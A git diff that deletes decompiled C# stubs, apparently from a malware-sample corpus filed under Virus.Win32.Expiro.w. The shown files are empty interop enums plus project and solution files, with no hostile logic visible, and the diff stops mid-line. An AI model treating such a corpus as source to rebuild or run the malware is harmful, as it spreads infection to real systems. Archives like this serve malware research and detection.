C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum OLECMDF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDID.cs deleted file mode 100644 index cae4964d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum OLECMDID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDTEXTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDTEXTF.cs deleted file mode 100644 index f0cd581f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDTEXTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDTEXTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum OLECMDTEXTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OfflineFolderStatus.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OfflineFolderStatus.cs deleted file mode 100644 index 467060f3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OfflineFolderStatus.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OfflineFolderStatus -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum OfflineFolderStatus -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/PIDMSI_STATUS_VALUE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/PIDMSI_STATUS_VALUE.cs deleted file mode 100644 index 89c89d99..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/PIDMSI_STATUS_VALUE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PIDMSI_STATUS_VALUE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum PIDMSI_STATUS_VALUE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RESTRICTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RESTRICTIONS.cs deleted file mode 100644 index e79f191f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RESTRICTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RESTRICTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum RESTRICTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RPC_ADDRESS_CHANGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RPC_ADDRESS_CHANGE_TYPE.cs deleted file mode 100644 index 2ff833bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RPC_ADDRESS_CHANGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RPC_ADDRESS_CHANGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum RPC_ADDRESS_CHANGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RefreshConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RefreshConstants.cs deleted file mode 100644 index b7e3ca2e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RefreshConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RefreshConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum RefreshConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ReplacesCorHdrNumericDefines.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ReplacesCorHdrNumericDefines.cs deleted file mode 100644 index 2fc3a947..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ReplacesCorHdrNumericDefines.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ReplacesCorHdrNumericDefines -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ReplacesCorHdrNumericDefines -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RequireAppliesToStatus.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RequireAppliesToStatus.cs deleted file mode 100644 index defcf2be..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RequireAppliesToStatus.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RequireAppliesToStatus -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -internal enum RequireAppliesToStatus : byte -{ - NotPresent, - Optional, - Required, -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSGEOCLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSGEOCLASS.cs deleted file mode 100644 index 2d4d83d7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSGEOCLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSGEOCLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum SYSGEOCLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSGEOTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSGEOTYPE.cs deleted file mode 100644 index 929968c8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSGEOTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSGEOTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum SYSGEOTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSNLS_FUNCTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSNLS_FUNCTION.cs deleted file mode 100644 index 716a54cf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSNLS_FUNCTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSNLS_FUNCTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum SYSNLS_FUNCTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SecureLockIconConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SecureLockIconConstants.cs deleted file mode 100644 index daa739d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SecureLockIconConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SecureLockIconConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum SecureLockIconConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellFolderViewOptions.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellFolderViewOptions.cs deleted file mode 100644 index 75000a37..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellFolderViewOptions.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellFolderViewOptions -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellFolderViewOptions -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellSpecialFolderConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellSpecialFolderConstants.cs deleted file mode 100644 index a2c06875..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellSpecialFolderConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellSpecialFolderConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum ShellSpecialFolderConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellWindowFindWindowOptions.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellWindowFindWindowOptions.cs deleted file mode 100644 index 5175945e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellWindowFindWindowOptions.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellWindowFindWindowOptions -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellWindowFindWindowOptions -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellWindowTypeConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellWindowTypeConstants.cs deleted file mode 100644 index 0de5ff66..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellWindowTypeConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellWindowTypeConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellWindowTypeConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/TrustDecision.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/TrustDecision.cs deleted file mode 100644 index 3b0e9559..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/TrustDecision.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: TrustDecision -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum TrustDecision -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/VARENUM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/VARENUM.cs deleted file mode 100644 index f477e058..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/VARENUM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: VARENUM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum VARENUM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Virus.Win32.Expiro.w.csproj b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Virus.Win32.Expiro.w.csproj deleted file mode 100644 index 7114938f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Virus.Win32.Expiro.w.csproj +++ /dev/null @@ -1,733 +0,0 @@ - - - - - Debug - AnyCPU - {0E01BB09-DDCA-4D48-AF6B-256DCDFE4DAD} - Exe - infocard - 3.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Virus.Win32.Expiro.w.sln b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Virus.Win32.Expiro.w.sln deleted file mode 100644 index 5df29487..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Virus.Win32.Expiro.w.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "infocard", "Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.csproj", "{0E01BB09-DDCA-4D48-AF6B-256DCDFE4DAD}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {0E01BB09-DDCA-4D48-AF6B-256DCDFE4DAD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {0E01BB09-DDCA-4D48-AF6B-256DCDFE4DAD}.Debug|Any CPU.Build.0 = Debug|Any CPU - {0E01BB09-DDCA-4D48-AF6B-256DCDFE4DAD}.Release|Any CPU.ActiveCfg = Release|Any CPU - {0E01BB09-DDCA-4D48-AF6B-256DCDFE4DAD}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/WELL_KNOWN_SID_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/WELL_KNOWN_SID_TYPE.cs deleted file mode 100644 index ccc7d7e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/WELL_KNOWN_SID_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WELL_KNOWN_SID_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum WELL_KNOWN_SID_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/WPCSETTING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/WPCSETTING.cs deleted file mode 100644 index e3feea8a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/WPCSETTING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WPCSETTING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum WPCSETTING -{ -} diff --git 